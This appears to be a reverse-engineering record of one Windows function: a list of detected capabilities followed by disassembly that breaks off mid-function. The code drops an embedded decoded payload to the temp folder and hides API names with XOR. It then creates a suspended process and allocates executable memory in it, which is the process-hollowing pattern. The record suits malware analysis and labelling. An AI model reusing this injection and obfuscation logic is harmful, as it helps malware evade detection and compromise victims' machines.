Function at 0x1400018c0
Capabilities:
Authenticate hmac
Get common file path
Link many functions at runtime
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov eax, 0xacb8
call fcn.140015c50
sub rsp, rax
mov qword [rsp + 0xa888], rcx
mov rax, qword [rsp + 0xa888]
mov qword [rsp + 0xa880], rax
mov rax, qword [rsp + 0xa880]
mov rcx, qword [rsp + 0xa880]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0xa880]
mov rcx, qword [rsp + 0xa880]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
add rax, 0x108
mov qword [rsp + 0xa870], rax
cmp qword [rsp + 0xa880], 0
je 0x140001956
cmp qword [rsp + 0xa878], 0
je 0x140001956
cmp qword [rsp + 0xa870], 0
jne 0x140001963
mov byte [rsp + 0xa897], 0
jmp 0x1400041ca
lea rdx, [rsp + 0xa670]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
mov ecx, eax
call fcn.1400041f0
mov ecx, eax
call sub.msvcrt.dll_srand
mov rax, qword [str.QWEDFG345678zxcvbnw]
mov qword [rsp + 0xa650], rax
mov rax, qword [0x1400bf2e8]
mov qword [rsp + 0xa658], rax
mov ax, word [0x1400bf2f0]
mov word [rsp + 0xa660], ax
lea rcx, [rsp + 0xa540]
xor edx, edx
mov r8d, 0x104
call sub.msvcrt.dll_memset
call sub.msvcrt.dll_rand
mov ecx, 0xa
cdq
idiv ecx
add edx, 0xa
mov dword [rsp + 0xa53c], edx
mov dword [rsp + 0xa538], 0
mov eax, dword [rsp + 0xa538]
cmp eax, dword [rsp + 0xa53c]
jge 0x140001a61
call sub.msvcrt.dll_rand
cdqe
mov ecx, 0x12
xor edx, edx
div rcx
mov eax, edx
mov dword [rsp + 0xa534], eax
movsxd rax, dword [rsp + 0xa534]
mov al, byte [rsp + rax + 0xa650]
mov byte [rsp + 0xa532], al
mov byte [rsp + 0xa533], 0
lea rcx, [rsp + 0xa540]
lea rdx, [rsp + 0xa532]
call sub.msvcrt.dll_strcat
mov eax, dword [rsp + 0xa538]
add eax, 1
mov dword [rsp + 0xa538], eax
jmp 0x1400019ea
lea rdx, [rsp + 0xa670]
lea rcx, [rsp + 0xa320]
call fcn.140021880
lea rdx, [rsp + 0xa540]
lea rcx, [rsp + 0xa320]
call fcn.140021850
mov word [rsp + 0xa526], 0
mov qword [rsp + 0xa318], 0
lea rdx, [rsp + 0xa320]
lea rcx, [rsp + 0xa318]
lea r8, [0x1400bf2f2]
call qword [sym.imp.msvcrt.dll__wfopen_s]
mov dword [rsp + 0xa314], eax
cmp dword [rsp + 0xa314], 0
jne 0x140001ae2
cmp qword [rsp + 0xa318], 0
jne 0x140001aef
mov byte [rsp + 0xa897], 0
jmp 0x1400041ca
mov byte [rsp + 0xa2e3], 0x30
mov byte [rsp + 0xa2e4], 0xc4
mov byte [rsp + 0xa2e5], 0x5c
mov byte [rsp + 0xa2e6], 0xc1
mov byte [rsp + 0xa2e7], 0xf6
lea rax, [rsp + 0xa2e3]
mov qword [rsp + 0xa2e8], rax
mov qword [rsp + 0xa2f0], 5
lea r8, [rsp + 0xa2e0]
mov qword [rsp + 0xa898], r8
mov rax, qword [rsp + 0xa898]
mov qword [rsp + 0xaa08], rax
lea rcx, [rsp + 0xa2f8]
lea rdx, [rsp + 0xa2e8]
call fcn.140029fe0
jmp 0x140001b6d
lea rax, [rsp + 0xa2e0]
mov qword [rsp + 0xa8a0], rax
mov rcx, qword [rsp + 0xa8a0]
call fcn.1400299e0
lea rdx, [0x1400bf300]
lea rcx, [rsp + 0x970]
mov qword [rsp + 0x350], rcx
mov r8d, 0x9960
mov qword [rsp + 0x358], r8
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0x350]
mov r8, qword [rsp + 0x358]
lea rcx, [rsp + 0xa2f8]
call fcn.140001580
jmp 0x140001bd6
mov r9, qword [rsp + 0xa318]
lea rcx, [rsp + 0x970]
mov edx, 1
mov r8d, 0x9960
call sub.msvcrt.dll_fwrite
jmp 0x140001bfb
mov rcx, qword [rsp + 0xa318]
call sub.msvcrt.dll_fclose
jmp 0x140001c0d
mov rcx, qword [rsp + 0xa878]
mov rdx, qword [rsp + 0xa870]
call fcn.140001450
mov byte [rsp + 0x34f], al
jmp 0x140001c2e
mov al, byte [rsp + 0x34f]
and al, 1
mov byte [rsp + 0x96f], al
mov rax, qword [rsp + 0xa888]
mov qword [rsp + 0x960], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x940], xmm0
movaps xmmword [rsp + 0x930], xmm0
movaps xmmword [rsp + 0x920], xmm0
movaps xmmword [rsp + 0x910], xmm0
movaps xmmword [rsp + 0x900], xmm0
movaps xmmword [rsp + 0x8f0], xmm0
mov qword [rsp + 0x950], 0
mov dword [rsp + 0x8f0], 0x68
movaps xmmword [rsp + 0x8d0], xmm0
mov qword [rsp + 0x8e0], 0
lea rcx, [rsp + 0x8b0]
lea rdx, [rsp + 0x8a8]
call fcn.140004210
jmp 0x140001cc6
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0xa8b0], rax
mov rax, qword [rsp + 0xa8b0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0xaa28], rax
mov rax, qword [rsp + 0xaa28]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x140001da0
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0xaa88], rax
mov qword [rsp + 0xaa80], rax
mov rax, qword [rsp + 0xaa88]
mov qword [rsp + 0x338], rax
mov dword [rsp + 0xaa7c], 0
cmp dword [rsp + 0xaa7c], 0xd
jge 0x140001d9b
mov rax, qword [rsp + 0xaa80]
movsxd rcx, dword [rsp + 0xaa7c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa7c]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x338]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa7c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa7c]
add eax, 1
mov dword [rsp + 0xaa7c], eax
jmp 0x140001d36
jmp 0x140001da0
jmp 0x140001da5
mov rcx, qword [rsp + 0x340]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rsp + 0x330], rax
jmp 0x140001dc3
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x8a0], rax
cmp qword [rsp + 0x8a0], 0
jne 0x140001e56
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0xa8c0], rax
mov rax, qword [rsp + 0xa8c0]
mov qword [rsp + 0x328], rax
mov qword [rsp + 0xaa18], rax
mov rax, qword [rsp + 0xaa18]
movzx eax, word [rax + 0x18]
cmp eax, 0
jne 0x140001f30
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0xaa58], rax
mov qword [rsp + 0xaa50], rax
mov rax, qword [rsp + 0xaa58]
mov qword [rsp + 0x320], rax
mov dword [rsp + 0xaa4c], 0
cmp dword [rsp + 0xaa4c], 0xd
jge 0x140001f2b
mov rax, qword [rsp + 0xaa50]
movsxd rcx, dword [rsp + 0xaa4c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa4c]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x320]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa4c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa4c]
add eax, 1
mov dword [rsp + 0xaa4c], eax
jmp 0x140001ec6
jmp 0x140001f30
jmp 0x140001f35
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0xa8e0], rax
mov rax, qword [rsp + 0xa8e0]
mov qword [rsp + 0x318], rax
mov dword [rsp + 0xa8dc], 0
cmp dword [rsp + 0xa8dc], 0xd
jge 0x140001f9a
mov rax, qword [rsp + 0x318]
movsxd rcx, dword [rsp + 0xa8dc]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa8dc]
add eax, 1
mov dword [rsp + 0xa8dc], eax
jmp 0x140001f60
jmp 0x140001f9f
lea rcx, [rsp + 0x878]
lea rdx, [rsp + 0x870]
call fcn.140004250
jmp 0x140001fb9
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x308], rax
lea rax, [rsp + 0x878]
mov qword [rsp + 0xa8e8], rax
mov rax, qword [rsp + 0xa8e8]
mov qword [rsp + 0x310], rax
mov qword [rsp + 0xaab8], rax
mov rax, qword [rsp + 0xaab8]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x1400020a3
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0xab48], rax
mov qword [rsp + 0xab40], rax
mov rax, qword [rsp + 0xab48]
mov qword [rsp + 0x300], rax
mov dword [rsp + 0xab3c], 0
cmp dword [rsp + 0xab3c], 0xf
jge 0x14000209e
mov rax, qword [rsp + 0xab40]
movsxd rcx, dword [rsp + 0xab3c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab3c]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x300]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab3c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab3c]
add eax, 1
mov dword [rsp + 0xab3c], eax
jmp 0x140002039
jmp 0x1400020a3
jmp 0x1400020a8
mov rcx, qword [rsp + 0x310]
call fcn.1400014e0
mov qword [rsp + 0x2f8], rax
jmp 0x1400020c2
mov rdx, qword [rsp + 0x2f8]
mov rcx, qword [rsp + 0x308]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x2f0], rax
jmp 0x1400020e8
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x868], rax
cmp qword [rsp + 0x868], 0
jne 0x14000211f
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
mov rax, qword [rsp + 0x868]
mov rcx, rsp
lea rdx, [rsp + 0x8d0]
mov qword [rcx + 0x48], rdx
lea rdx, [rsp + 0x8f0]
mov qword [rcx + 0x40], rdx
mov qword [rcx + 0x38], 0
mov qword [rcx + 0x30], 0
mov dword [rcx + 0x28], 4
mov dword [rcx + 0x20], 1
xor ecx, ecx
mov r9d, ecx
lea rcx, [rsp + 0xa320]
mov rdx, r9
mov r8, r9
call rax
mov qword [rsp + 0x2e8], rax
jmp 0x140002182
mov rax, qword [rsp + 0x2e8]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x867], al
mov al, byte [rsp + 0x867]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x1400021c7
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
lea rax, [rsp + 0x878]
mov qword [rsp + 0xa900], rax
mov rax, qword [rsp + 0xa900]
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0xaaa0], rax
mov rax, qword [rsp + 0xaaa0]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x1400022a1
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0xab00], rax
mov qword [rsp + 0xaaf8], rax
mov rax, qword [rsp + 0xab00]
mov qword [rsp + 0x2d8], rax
mov dword [rsp + 0xaaf4], 0
cmp dword [rsp + 0xaaf4], 0xf
jge 0x14000229c
mov rax, qword [rsp + 0xaaf8]
movsxd rcx, dword [rsp + 0xaaf4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaaf4]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x2d8]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaaf4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaaf4]
add eax, 1
mov dword [rsp + 0xaaf4], eax
jmp 0x140002237
jmp 0x1400022a1
jmp 0x1400022a6
lea rax, [rsp + 0x878]
mov qword [rsp + 0xa930], rax
mov rax, qword [rsp + 0xa930]
mov qword [rsp + 0x2d0], rax
mov dword [rsp + 0xa92c], 0
cmp dword [rsp + 0xa92c], 0xf
jge 0x14000230b
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rsp + 0xa92c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa92c]
add eax, 1
mov dword [rsp + 0xa92c], eax
jmp 0x1400022d1
jmp 0x140002310
test byte [rsp + 0x96f], 1
je 0x140002623
lea rcx, [rsp + 0x840]
lea rdx, [rsp + 0x838]
call fcn.1400042a0
jmp 0x140002338
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0x840]
mov qword [rsp + 0xa948], rax
mov rax, qword [rsp + 0xa948]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0xa950], rax
mov rax, qword [rsp + 0xa950]
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0xaa90], rax
mov rax, qword [rsp + 0xaa90]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x14000243a
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0xaad0], rax
mov qword [rsp + 0xaac8], rax
mov rax, qword [rsp + 0xaad0]
mov qword [rsp + 0x2b0], rax
mov dword [rsp + 0xaac4], 0
cmp dword [rsp + 0xaac4], 0xf
jge 0x140002435
mov rax, qword [rsp + 0xaac8]
movsxd rcx, dword [rsp + 0xaac4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaac4]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x2b0]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaac4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaac4]
add eax, 1
mov dword [rsp + 0xaac4], eax
jmp 0x1400023d0
jmp 0x14000243a
jmp 0x14000243f
mov rcx, qword [rsp + 0x2c0]
call fcn.1400014e0
mov qword [rsp + 0x2a8], rax
jmp 0x140002459
mov rdx, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x2a0], rax
jmp 0x14000247f
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x830], rax
cmp qword [rsp + 0x830], 0
jne 0x1400024b6
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
mov rax, qword [rsp + 0x830]
mov rcx, qword [rsp + 0x8d0]
lea rdx, [rsp + 0x860]
call rax
jmp 0x1400024d5
lea rax, [rsp + 0x840]
mov qword [rsp + 0xa8f8], rax
mov rax, qword [rsp + 0xa8f8]
mov qword [rsp + 0x298], rax
mov qword [rsp + 0xaaa8], rax
mov rax, qword [rsp + 0xaaa8]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x1400025af
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0xab18], rax
mov qword [rsp + 0xab10], rax
mov rax, qword [rsp + 0xab18]
mov qword [rsp + 0x290], rax
mov dword [rsp + 0xab0c], 0
cmp dword [rsp + 0xab0c], 0xf
jge 0x1400025aa
mov rax, qword [rsp + 0xab10]
movsxd rcx, dword [rsp + 0xab0c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab0c]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x290]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab0c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab0c]
add eax, 1
mov dword [rsp + 0xab0c], eax
jmp 0x140002545
jmp 0x1400025af
jmp 0x1400025b4
lea rax, [rsp + 0x840]
mov qword [rsp + 0xa920], rax
mov rax, qword [rsp + 0xa920]
mov qword [rsp + 0x288], rax
mov dword [rsp + 0xa91c], 0
cmp dword [rsp + 0xa91c], 0xf
jge 0x140002619
mov rax, qword [rsp + 0x288]
movsxd rcx, dword [rsp + 0xa91c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa91c]
add eax, 1
mov dword [rsp + 0xa91c], eax
jmp 0x1400025df
jmp 0x14000261e
jmp 0x140002623
lea rcx, [rsp + 0x810]
lea rdx, [rsp + 0x808]
call fcn.1400042f0
jmp 0x14000263d
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x810]
mov qword [rsp + 0xa938], rax
mov rax, qword [rsp + 0xa938]
mov qword [rsp + 0x278], rax
mov qword [rsp + 0xa940], rax
mov rax, qword [rsp + 0xa940]
mov qword [rsp + 0x280], rax
mov qword [rsp + 0xaa98], rax
mov rax, qword [rsp + 0xaa98]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x14000273f
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xaae8], rax
mov qword [rsp + 0xaae0], rax
mov rax, qword [rsp + 0xaae8]
mov qword [rsp + 0x268], rax
mov dword [rsp + 0xaadc], 0
cmp dword [rsp + 0xaadc], 0xf
jge 0x14000273a
mov rax, qword [rsp + 0xaae0]
movsxd rcx, dword [rsp + 0xaadc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaadc]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x268]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaadc]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaadc]
add eax, 1
mov dword [rsp + 0xaadc], eax
jmp 0x1400026d5
jmp 0x14000273f
jmp 0x140002744
mov rcx, qword [rsp + 0x278]
call fcn.1400014e0
mov qword [rsp + 0x260], rax
jmp 0x14000275e
mov rdx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x270]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x258], rax
jmp 0x140002784
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x800], rax
cmp qword [rsp + 0x800], 0
jne 0x1400027bb
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
lea rax, [rsp + 0x810]
mov qword [rsp + 0xa8f0], rax
mov rax, qword [rsp + 0xa8f0]
mov qword [rsp + 0x250], rax
mov qword [rsp + 0xaab0], rax
mov rax, qword [rsp + 0xaab0]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x140002895
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0xab30], rax
mov qword [rsp + 0xab28], rax
mov rax, qword [rsp + 0xab30]
mov qword [rsp + 0x248], rax
mov dword [rsp + 0xab24], 0
cmp dword [rsp + 0xab24], 0xf
jge 0x140002890
mov rax, qword [rsp + 0xab28]
movsxd rcx, dword [rsp + 0xab24]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab24]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x248]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab24]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab24]
add eax, 1
mov dword [rsp + 0xab24], eax
jmp 0x14000282b
jmp 0x140002895
jmp 0x14000289a
lea rax, [rsp + 0x810]
mov qword [rsp + 0xa910], rax
mov rax, qword [rsp + 0xa910]
mov qword [rsp + 0x240], rax
mov dword [rsp + 0xa90c], 0
cmp dword [rsp + 0xa90c], 0xf
jge 0x1400028ff
mov rax, qword [rsp + 0x240]
movsxd rcx, dword [rsp + 0xa90c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa90c]
add eax, 1
mov dword [rsp + 0xa90c], eax
jmp 0x1400028c5
jmp 0x140002904
mov rax, qword [rsp + 0x800]
mov rcx, qword [rsp + 0x8d0]
mov r8, qword [rsp + 0xa878]
mov edx, dword [r8 + 0x34]
mov r8d, dword [r8 + 0x50]
mov r9, rsp
mov dword [r9 + 0x20], 0x40
mov r9d, 0x3000
call rax
mov qword [rsp + 0x238], rax
jmp 0x140002944
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x7f8], rax
cmp qword [rsp + 0x7f8], 0
jne 0x140002c8f
lea rcx, [rsp + 0x7d0]
lea rdx, [rsp + 0x7c8]
call fcn.140004340
jmp 0x14000297d
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x220], rax
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0xa958], rax
mov rax, qword [rsp + 0xa958]
mov qword [rsp + 0x228], rax
mov qword [rsp + 0xab50], rax
mov rax, qword [rsp + 0xab50]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xab58]
movzx eax, word [rax + 0x20]
cmp eax, 0
je 0x140002a7f
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0xab78], rax
mov qword [rsp + 0xab70], rax
mov rax, qword [rsp + 0xab78]
mov qword [rsp + 0x218], rax
mov dword [rsp + 0xab6c], 0
cmp dword [rsp + 0xab6c], 0x11
jge 0x140002a7a
mov rax, qword [rsp + 0xab70]
movsxd rcx, dword [rsp + 0xab6c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab6c]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x218]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab6c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab6c]
add eax, 1
mov dword [rsp + 0xab6c], eax
jmp 0x140002a15
jmp 0x140002a7f
jmp 0x140002a84
jmp 0x140002a89
mov rcx, qword [rsp + 0x228]
call fcn.1400014e0
mov qword [rsp + 0x210], rax
jmp 0x140002aa3
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x220]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x208], rax
jmp 0x140002ac9
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x7c0], rax
cmp qword [rsp + 0x7c0], 0
jne 0x140002b00
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
mov rax, qword [rsp + 0x7c0]
mov rcx, qword [rsp + 0x8d0]
xor edx, edx
call rax
jmp 0x140002b19
mov rcx, qword [rsp + 0x8a0]
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140002b2f
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0xa960], rax
mov rax, qword [rsp + 0xa960]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0xab60], rax
mov rax, qword [rsp + 0xab60]
movzx eax, word [rax + 0x20]
cmp eax, 0
jne 0x140002c09
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0xab90], rax
mov qword [rsp + 0xab88], rax
mov rax, qword [rsp + 0xab90]
mov qword [rsp + 0x1f8], rax
mov dword [rsp + 0xab84], 0
cmp dword [rsp + 0xab84], 0x11
jge 0x140002c04
mov rax, qword [rsp + 0xab88]
movsxd rcx, dword [rsp + 0xab84]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab84]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x1f8]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab84]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab84]
add eax, 1
mov dword [rsp + 0xab84], eax
jmp 0x140002b9f
jmp 0x140002c09
jmp 0x140002c0e
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0xa970], rax
mov rax, qword [rsp + 0xa970]
mov qword [rsp + 0x1f0], rax
mov dword [rsp + 0xa96c], 0
cmp dword [rsp + 0xa96c], 0x11
jge 0x140002c73
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rsp + 0xa96c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa96c]
add eax, 1
mov dword [rsp + 0xa96c], eax
jmp 0x140002c39
jmp 0x140002c78
mov rcx, qword [rsp + 0xa888]
call fcn.1400018c0
jmp 0x140002c8a
jmp 0x140002c8f
mov eax, dword [rsp + 0x7f8]
mov rcx, qword [rsp + 0xa878]
mov ecx, dword [rcx + 0x34]
sub eax, ecx
mov dword [rsp + 0x7bc], eax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x788]
call fcn.140004380
jmp 0x140002cc4
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x790]
mov qword [rsp + 0xa978], rax
mov rax, qword [rsp + 0xa978]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0xab98], rax
mov rax, qword [rsp + 0xab98]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0xaba0], rax
mov rax, qword [rsp + 0xaba0]
movzx eax, word [rax + 0x24]
cmp eax, 0
je 0x140002dc6
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0xabc0], rax
mov qword [rsp + 0xabb8], rax
mov rax, qword [rsp + 0xabc0]
mov qword [rsp + 0x1d0], rax
mov dword [rsp + 0xabb4], 0
cmp dword [rsp + 0xabb4], 0x13
jge 0x140002dc1
mov rax, qword [rsp + 0xabb8]
movsxd rcx, dword [rsp + 0xabb4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xabb4]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x1d0]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xabb4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xabb4]
add eax, 1
mov dword [rsp + 0xabb4], eax
jmp 0x140002d5c
jmp 0x140002dc6
jmp 0x140002dcb
jmp 0x140002dd0
mov rcx, qword [rsp + 0x1e0]
call fcn.1400014e0
mov qword [rsp + 0x1c8], rax
jmp 0x140002dea
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x1c0], rax
jmp 0x140002e10
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x780], rax
lea rax, [rsp + 0x790]
mov qword [rsp + 0xa980], rax
mov rax, qword [rsp + 0xa980]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0xaba8], rax
mov rax, qword [rsp + 0xaba8]
movzx eax, word [rax + 0x24]
cmp eax, 0
jne 0x140002efa
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0xabd8], rax
mov qword [rsp + 0xabd0], rax
mov rax, qword [rsp + 0xabd8]
mov qword [rsp + 0x1b0], rax
mov dword [rsp + 0xabcc], 0
cmp dword [rsp + 0xabcc], 0x13
jge 0x140002ef5
mov rax, qword [rsp + 0xabd0]
movsxd rcx, dword [rsp + 0xabcc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xabcc]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x1b0]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xabcc]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xabcc]
add eax, 1
mov dword [rsp + 0xabcc], eax
jmp 0x140002e90
jmp 0x140002efa
jmp 0x140002eff
lea rax, [rsp + 0x790]
mov qword [rsp + 0xa990], rax
mov rax, qword [rsp + 0xa990]
mov qword [rsp + 0x1a8], rax
mov dword [rsp + 0xa98c], 0
cmp dword [rsp + 0xa98c], 0x13
jge 0x140002f64
mov rax, qword [rsp + 0x1a8]
movsxd rcx, dword [rsp + 0xa98c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa98c]
add eax, 1
mov dword [rsp + 0xa98c], eax
jmp 0x140002f2a
jmp 0x140002f69
mov byte [rsp + 0x77f], 0
test byte [rsp + 0x96f], 1
je 0x140002ff4
mov ecx, dword [rsp + 0x7f8]
mov rax, qword [rsp + 0xa878]
mov dword [rax + 0x34], ecx
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r8, qword [rsp + 0x960]
mov r9, qword [rsp + 0xa878]
mov r9d, dword [r9 + 0x54]
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x1a0], rax
jmp 0x140002fd7
mov rax, qword [rsp + 0x1a0]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x77f], al
jmp 0x140003052
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r8, qword [rsp + 0x960]
mov r9, qword [rsp + 0xa878]
mov r9d, dword [r9 + 0x54]
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x198], rax
jmp 0x14000303a
mov rax, qword [rsp + 0x198]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x77f], al
mov al, byte [rsp + 0x77f]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x14000307f
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
mov qword [rsp + 0x768], 0
mov rax, qword [rsp + 0xa878]
cmp dword [rax + 0xa0], 0
je 0x1400030bc
mov rax, qword [rsp + 0xa878]
mov rax, qword [rax + 0xa0]
mov qword [rsp + 0x770], rax
jmp 0x1400030e2
mov dword [rsp + 0x760], 0
mov dword [rsp + 0x764], 0
mov rax, qword [rsp + 0x760]
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x758], 0
mov byte [rsp + 0x757], 0
test byte [rsp + 0x96f], 1
